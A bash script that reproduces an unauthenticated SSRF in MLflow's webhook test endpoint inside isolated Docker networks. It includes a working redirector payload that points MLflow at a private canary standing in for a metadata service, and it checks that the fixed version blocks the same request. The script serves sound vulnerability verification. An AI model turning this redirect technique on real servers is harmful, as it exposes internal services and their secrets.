#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
RUN_LOGS="$LOGS/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$RUN_LOGS"
cd "$ROOT"

# This script exercises the real unauthenticated MLflow REST API in the official
# v3.13.0 and v3.15.0 containers. A public-class HTTPS endpoint redirects MLflow
# to a private-network canary, which models an internal metadata service.
VULN_IMAGE="ghcr.io/mlflow/mlflow@sha256:b2136d49f882fdc9c48bdb95514a8a23804e8756524135c3f09f7a553a3ac58b"
FIXED_IMAGE="ghcr.io/mlflow/mlflow@sha256:2fef60dd85b18b4a555325b861b50b43ede45b1cc67176aa711cc86ad446a6a3"
HELPER_IMAGE="python@sha256:d09d15e60962ca365d1cd544a48773bac9d33f2fb1b00f2aa0deec78ade7dc31"
VULN_COMMIT="8a774946bc19b59cecf3c54a733ebab52aa766f5"
FIXED_COMMIT="d0f31520ec4af7c4deaa9a8e7904c442fb1b310d"
REPOSITORY_URL="https://github.com/mlflow/mlflow"
FIX_PATCH_COMMIT="ba949522477cbd5915aa55d29b0cfad7d5ddf939"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
FALLBACK_REPO="$ROOT/artifacts/mlflow"
REPO="$FALLBACK_REPO"
PROJECT_CACHE_DIR=""
CACHE_MANIFEST_PATH=""
CACHE_MANIFEST_SCHEMA=""
if [ -r "$CACHE_CONTEXT" ]; then
  PROJECT_CACHE_DIR="$(python3 - "$CACHE_CONTEXT" <<'PYCTX'
import json, sys
try:
    x=json.load(open(sys.argv[1]))
    print(x.get("project_cache_dir", "") if x.get("prepared") is True else "")
except Exception:
    print("")
PYCTX
)"
  if [ -n "$PROJECT_CACHE_DIR" ]; then
    REPO="$PROJECT_CACHE_DIR/repo"
    CACHE_MANIFEST_PATH="$(python3 - "$CACHE_CONTEXT" <<'PYMAN'
import json, sys
x=json.load(open(sys.argv[1])); print(x.get("cache_manifest_path", ""))
PYMAN
)"
    CACHE_MANIFEST_SCHEMA="$(python3 - "$CACHE_CONTEXT" <<'PYSCHEMA'
import json, sys
x=json.load(open(sys.argv[1])); print(x.get("cache_manifest_schema_version", ""))
PYSCHEMA
)"
  fi
fi
PUBLIC_NET="pruva-mlflow-public"
PRIVATE_NET="pruva-mlflow-private"
PUBLIC_SUBNET="93.184.216.0/24"
REDIRECT_IP="93.184.216.34"
PRIVATE_SUBNET="172.30.49.0/24"
CANARY_IP="172.30.49.10"
MLFLOW_PRIVATE_IP="172.30.49.20"
MARKER="PRUVA_INTERNAL_SSRF_CANARY_CVE_2026_64849"
CA_DIR="$RUN_LOGS/tls"
SESSION_LOG="$RUN_LOGS/reproduction_steps.log"
mkdir -p "$CA_DIR"
exec > >(tee "$SESSION_LOG") 2>&1

manifest_failure() {
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
with open(sys.argv[1], "w") as f:
    json.dump({
      "entrypoint_kind": "endpoint",
      "entrypoint_detail": "POST /api/2.0/mlflow/webhooks/{id}/test on default mlflow server",
      "service_started": False,
      "healthcheck_passed": False,
      "target_path_reached": False,
      "runtime_stack": ["docker", "mlflow"],
      "proof_artifacts": [],
      "artifact_sha256": {},
      "notes": "The runtime-backed attempt did not complete; inspect logs/repro/reproduction_steps.log"
    }, f, indent=2)
    f.write("\n")
PY
}
manifest_failure

cleanup() {
  docker rm -f pruva-mlflow-vuln pruva-mlflow-fixed pruva-mlflow-redirector pruva-mlflow-canary >/dev/null 2>&1 || true
  docker network rm "$PUBLIC_NET" "$PRIVATE_NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT INT TERM
cleanup

command -v docker >/dev/null
command -v curl >/dev/null
command -v openssl >/dev/null
docker info >/dev/null

# Read the prepared-cache contract and anchor image labels to exact upstream tags.
mkdir -p "$(dirname "$REPO")"
if [ ! -d "$REPO/.git" ]; then
  git clone --filter=blob:none --no-checkout "$REPOSITORY_URL.git" "$REPO"
fi
git -C "$REPO" fetch --force origin tag v3.13.0 tag v3.15.0 "$FIX_PATCH_COMMIT" --depth=2
[ "$(git -C "$REPO" rev-parse v3.13.0^{commit})" = "$VULN_COMMIT" ]
[ "$(git -C "$REPO" rev-parse v3.15.0^{commit})" = "$FIXED_COMMIT" ]
if git -C "$REPO" show v3.13.0:mlflow/webhooks/delivery.py | grep -q SSRFProtectedHTTPAdapter; then
  echo "Unexpected SSRF adapter in vulnerable tag" >&2; exit 1
fi
git -C "$REPO" show v3.15.0:mlflow/webhooks/delivery.py | grep -q SSRFProtectedHTTPAdapter
# The cache uses shallow tag fetches, so verify the exact fix hunk in the fixed tag
# rather than relying on merge-base ancestry unavailable in a grafted history.
git -C "$REPO" show "$FIX_PATCH_COMMIT":mlflow/webhooks/delivery.py | grep -q SSRFProtectedHTTPAdapter
if [ -n "$CACHE_MANIFEST_PATH" ] && [ -n "$CACHE_MANIFEST_SCHEMA" ]; then
  mkdir -p "$(dirname "$CACHE_MANIFEST_PATH")"
  python3 - "$CACHE_MANIFEST_PATH" "$CACHE_MANIFEST_SCHEMA" <<'PYCACHE'
import json, sys
out, schema = sys.argv[1], int(sys.argv[2])
with open(out, "w") as f:
    json.dump({"schema_version": schema, "entries": [
        {"path": "repo", "reuse_class": "repo"},
        {"path": "repo-mirrors", "reuse_class": "infrastructure"},
    ]}, f, indent=2)
    f.write("\n")
PYCACHE
fi

# Resolve and persist exact immutable image identities.
docker pull "$VULN_IMAGE"
docker pull "$FIXED_IMAGE"
docker pull "$HELPER_IMAGE"
VULN_DIGEST="$(docker image inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE")"
FIXED_DIGEST="$(docker image inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE")"
HELPER_DIGEST="$(docker image inspect --format '{{index .RepoDigests 0}}' "$HELPER_IMAGE")"
VULN_PACKAGE_VERSION="$(docker run --rm "$VULN_IMAGE" python -c 'import mlflow; print(mlflow.__version__)')"
FIXED_PACKAGE_VERSION="$(docker run --rm "$FIXED_IMAGE" python -c 'import mlflow; print(mlflow.__version__)')"
[ "$VULN_PACKAGE_VERSION" = "3.13.0" ]
[ "$FIXED_PACKAGE_VERSION" = "3.15.0" ]
printf 'vulnerable_image=%s\nfixed_image=%s\nhelper_image=%s\nvulnerable_package_version=%s\nfixed_package_version=%s\n' \
  "$VULN_DIGEST" "$FIXED_DIGEST" "$HELPER_DIGEST" "$VULN_PACKAGE_VERSION" "$FIXED_PACKAGE_VERSION" > "$RUN_LOGS/image-identities.txt"

# Generate a run-local CA and a certificate valid for the synthetic public IP.
rm -f "$CA_DIR"/*
openssl req -x509 -newkey rsa:2048 -sha256 -nodes -days 1 \
  -subj '/CN=Pruva MLflow Reproduction CA' \
  -keyout "$CA_DIR/ca.key" -out "$CA_DIR/ca.pem" >/dev/null 2>&1
cat > "$CA_DIR/redirector.cnf" <<EOF
[req]
prompt = no
distinguished_name = dn
req_extensions = ext
[dn]
CN = $REDIRECT_IP
[ext]
subjectAltName = IP:$REDIRECT_IP
keyUsage = digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth
EOF
openssl req -new -newkey rsa:2048 -nodes -keyout "$CA_DIR/server.key" \
  -out "$CA_DIR/server.csr" -config "$CA_DIR/redirector.cnf" >/dev/null 2>&1
openssl x509 -req -sha256 -days 1 -in "$CA_DIR/server.csr" \
  -CA "$CA_DIR/ca.pem" -CAkey "$CA_DIR/ca.key" -CAcreateserial \
  -out "$CA_DIR/server.pem" -extensions ext -extfile "$CA_DIR/redirector.cnf" >/dev/null 2>&1
chmod 644 "$CA_DIR/ca.pem" "$CA_DIR/server.pem" "$CA_DIR/server.key"
# requests uses certifi directly. Merge the test CA into that bundle so the fixed
# session (which intentionally sets trust_env=False) also trusts the first hop.
docker run --rm "$VULN_IMAGE" cat /usr/local/lib/python3.10/site-packages/certifi/cacert.pem > "$CA_DIR/combined-ca.pem"
printf '\n' >> "$CA_DIR/combined-ca.pem"
cat "$CA_DIR/ca.pem" >> "$CA_DIR/combined-ca.pem"
chmod 644 "$CA_DIR/combined-ca.pem"

# Use one public-class bridge for the validated first hop and a separate RFC1918
# bridge for the prohibited target. The redirector cannot reach the private bridge.
docker network create --subnet "$PUBLIC_SUBNET" "$PUBLIC_NET" >/dev/null
docker network create --subnet "$PRIVATE_SUBNET" "$PRIVATE_NET" >/dev/null

# Internal canary service: private bridge only.
docker run -d --name pruva-mlflow-canary --network "$PRIVATE_NET" --ip "$CANARY_IP" \
  "$HELPER_IMAGE" sh -c "mkdir -p /srv && printf '%s\\n' '$MARKER' >/srv/latest-meta-data && exec python -u -m http.server 9000 --bind 0.0.0.0 --directory /srv" >/dev/null

# Public HTTPS redirector: emits a real 302 to the private canary. The inline
# program is created inside the container and is not an external bundle dependency.
docker run -d --name pruva-mlflow-redirector --network "$PUBLIC_NET" --ip "$REDIRECT_IP" \
  -v "$CA_DIR:/tls:ro" "$HELPER_IMAGE" sh -c 'cat >/tmp/redirect.py <<"PY"
from http.server import BaseHTTPRequestHandler, HTTPServer
import ssl
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get("Content-Length", "0")); self.rfile.read(n)
        self.send_response(302)
        self.send_header("Location", "http://172.30.49.10:9000/latest-meta-data")
        self.end_headers()
    def log_message(self, fmt, *args): print("REDIRECTOR", fmt % args, flush=True)
s = HTTPServer(("0.0.0.0", 8443), H)
c = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); c.load_cert_chain("/tls/server.pem", "/tls/server.key")
s.socket = c.wrap_socket(s.socket, server_side=True); print("REDIRECTOR_READY", flush=True); s.serve_forever()
PY
exec python -u /tmp/redirect.py' >/dev/null

wait_container_log() {
  local name="$1" needle="$2"
  for _ in $(seq 1 60); do
    if docker logs "$name" 2>&1 | grep -q "$needle"; then return 0; fi
    sleep 1
  done
  docker logs "$name" >&2 || true
  return 1
}
wait_container_log pruva-mlflow-redirector REDIRECTOR_READY
for _ in $(seq 1 30); do
  if docker exec pruva-mlflow-canary wget -qO- http://127.0.0.1:9000/latest-meta-data | grep -q "$MARKER"; then break; fi
  sleep 1
done

run_case() {
  local role="$1" image="$2" commit="$3" host_port="$4" expected="$5"
  local name="pruva-mlflow-$role" case_dir="$RUN_LOGS/$role"
  mkdir -p "$case_dir"
  rm -f "$case_dir"/*
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" --network "$PUBLIC_NET" \
    -p "127.0.0.1:${host_port}:5000" \
    -e NO_PROXY='*' -e no_proxy='*' \
    -v "$CA_DIR:/repro-ca:ro" \
    -v "$CA_DIR/combined-ca.pem:/usr/local/lib/python3.10/site-packages/certifi/cacert.pem:ro" \
    "$image" mlflow server --host 0.0.0.0 --port 5000 --workers 1 >/dev/null
  docker network connect --ip "$MLFLOW_PRIVATE_IP" "$PRIVATE_NET" "$name"

  local ready=0
  for _ in $(seq 1 120); do
    if curl -fsS --max-time 2 "http://127.0.0.1:${host_port}/health" > "$case_dir/health-response.txt" 2>/dev/null; then ready=1; break; fi
    if ! docker inspect -f '{{.State.Running}}' "$name" 2>/dev/null | grep -q true; then break; fi
    sleep 1
  done
  docker logs "$name" > "$case_dir/mlflow-service.log" 2>&1 || true
  [ "$ready" -eq 1 ] || { echo "$role MLflow did not become healthy"; cat "$case_dir/mlflow-service.log"; return 1; }

  cat > "$case_dir/create-request.json" <<EOF
{"name":"pruva-ssrf-$role","url":"https://$REDIRECT_IP:8443/redirect","events":[{"entity":"MODEL_VERSION","action":"CREATED"}],"description":"CVE-2026-64849 runtime proof","status":"ACTIVE"}
EOF
  curl -sS --max-time 20 --trace-ascii "$case_dir/create-wire.txt" -D "$case_dir/create-headers.txt" \
    -H 'Content-Type: application/json' --data-binary @"$case_dir/create-request.json" \
    "http://127.0.0.1:${host_port}/api/2.0/mlflow/webhooks" > "$case_dir/create-response.json"
  local webhook_id
  webhook_id="$(python3 - "$case_dir/create-response.json" <<'PY'
import json,sys
x=json.load(open(sys.argv[1])); print(x.get("webhook_id") or x.get("webhook",{}).get("webhook_id") or "")
PY
)"
  if [ -z "$webhook_id" ]; then
    echo "$role webhook creation failed"; cat "$case_dir/create-response.json"; return 1
  fi
  printf '{"webhook_id":"%s"}\n' "$webhook_id" > "$case_dir/test-request.json"
  local canary_before canary_after
  canary_before="$(docker logs pruva-mlflow-canary 2>&1 | grep -c "$MLFLOW_PRIVATE_IP.*GET /latest-meta-data" || true)"
  printf '%s\n' "$canary_before" > "$case_dir/canary-private-requests-before.txt"
  curl -sS --max-time 30 --trace-ascii "$case_dir/test-wire.txt" -D "$case_dir/test-headers.txt" \
    -H 'Content-Type: application/json' --data '{}' \
    "http://127.0.0.1:${host_port}/api/2.0/mlflow/webhooks/${webhook_id}/test" > "$case_dir/test-response.json"
  canary_after="$(docker logs pruva-mlflow-canary 2>&1 | grep -c "$MLFLOW_PRIVATE_IP.*GET /latest-meta-data" || true)"
  printf '%s\n' "$canary_after" > "$case_dir/canary-private-requests-after.txt"
  docker logs "$name" > "$case_dir/mlflow-service.log" 2>&1 || true
  docker logs pruva-mlflow-redirector > "$case_dir/redirector.log" 2>&1 || true
  docker logs pruva-mlflow-canary > "$case_dir/canary.log" 2>&1 || true
  docker inspect "$name" > "$case_dir/container-inspect.json"
  printf 'role=%s\nimage=%s\ncommit=%s\nwebhook_id=%s\n' "$role" "$image" "$commit" "$webhook_id" > "$case_dir/identity.txt"

  if [ "$expected" = vulnerable ]; then
    grep -Fq "$MARKER" "$case_dir/test-response.json" || { echo 'Vulnerable response did not reflect canary'; cat "$case_dir/test-response.json"; return 1; }
    [ "$canary_after" -gt "$canary_before" ] || { echo 'Vulnerable build did not contact private canary'; return 1; }
    echo "CONFIRMED vulnerable API reflected private canary ($role)"
  else
    if grep -Fq "$MARKER" "$case_dir/test-response.json"; then
      echo 'Fixed response unexpectedly reflected canary'; cat "$case_dir/test-response.json"; return 1
    fi
    grep -Fq "$CANARY_IP is not a public IP address" "$case_dir/test-response.json" || { echo 'Fixed response did not prove connection-time private-peer rejection'; cat "$case_dir/test-response.json"; return 1; }
    [ "$(grep -c 'POST /redirect' "$case_dir/redirector.log" || true)" -ge 2 ] || { echo 'Fixed build did not reach the trusted HTTPS redirector'; cat "$case_dir/redirector.log"; return 1; }
    [ "$canary_after" -eq "$canary_before" ] || { echo 'Fixed build contacted private canary despite rejection'; return 1; }
    echo "CONFIRMED fixed API blocked private redirect ($role)"
  fi
  docker rm -f "$name" >/dev/null
}

run_case vuln "$VULN_IMAGE" "$VULN_COMMIT" 55013 vulnerable
run_case fixed "$FIXED_IMAGE" "$FIXED_COMMIT" 55015 fixed

# Freeze proof files before hashing and before writing the runtime manifest.
docker logs pruva-mlflow-redirector > "$RUN_LOGS/final-redirector.log" 2>&1
docker logs pruva-mlflow-canary > "$RUN_LOGS/final-canary.log" 2>&1
PROOFS=(
  "logs/repro/image-identities.txt"
  "logs/repro/vuln/create-request.json"
  "logs/repro/vuln/create-response.json"
  "logs/repro/vuln/create-wire.txt"
  "logs/repro/vuln/test-request.json"
  "logs/repro/vuln/test-response.json"
  "logs/repro/vuln/test-wire.txt"
  "logs/repro/vuln/mlflow-service.log"
  "logs/repro/vuln/redirector.log"
  "logs/repro/vuln/canary.log"
  "logs/repro/vuln/canary-private-requests-before.txt"
  "logs/repro/vuln/canary-private-requests-after.txt"
  "logs/repro/fixed/create-request.json"
  "logs/repro/fixed/create-response.json"
  "logs/repro/fixed/create-wire.txt"
  "logs/repro/fixed/test-request.json"
  "logs/repro/fixed/test-response.json"
  "logs/repro/fixed/test-wire.txt"
  "logs/repro/fixed/mlflow-service.log"
  "logs/repro/fixed/redirector.log"
  "logs/repro/fixed/canary.log"
  "logs/repro/fixed/canary-private-requests-before.txt"
  "logs/repro/fixed/canary-private-requests-after.txt"
  "logs/repro/final-redirector.log"
  "logs/repro/final-canary.log"
)
python3 - "$ROOT" "$REPRO_DIR/runtime_manifest.json" "$VULN_DIGEST" "$VULN_COMMIT" "${PROOFS[@]}" <<'PY'
import hashlib, json, os, platform, sys
root, out, image_digest, commit, *proofs = sys.argv[1:]
def sha(path):
    h=hashlib.sha256()
    with open(path,'rb') as f:
        for b in iter(lambda:f.read(131072),b''): h.update(b)
    return h.hexdigest()
identity = f"git:https://github.com/mlflow/mlflow@{commit}"
obj = {
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"POST /api/2.0/mlflow/webhooks/{id}/test on default mlflow server",
 "service_started":True,
 "healthcheck_passed":True,
 "target_path_reached":True,
 "runtime_stack":["docker", "mlflow 3.13.0", "uvicorn", "sqlite", "HTTPS redirector", "private HTTP canary"],
 "target_identity":{
   "repository_url":"https://github.com/mlflow/mlflow",
   "commit_sha":commit,
   "target_digest":hashlib.sha256(identity.encode()).hexdigest(),
   "runtime_digest":image_digest.split('@sha256:')[-1],
   "platform":"linux",
   "architecture":platform.machine()
 },
 "proof_artifacts":proofs,
 "artifact_sha256":{p:sha(os.path.join(root,p)) for p in proofs},
 "notes":"The vulnerable default API reflected the private canary; the fixed API rejected the same redirect procedure. No authentication plugin was enabled."
}
with open(out,'w') as f: json.dump(obj,f,indent=2); f.write('\n')
PY

python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null
echo "PASS: unauthenticated full-read SSRF reproduced through the real MLflow API, with fixed negative control"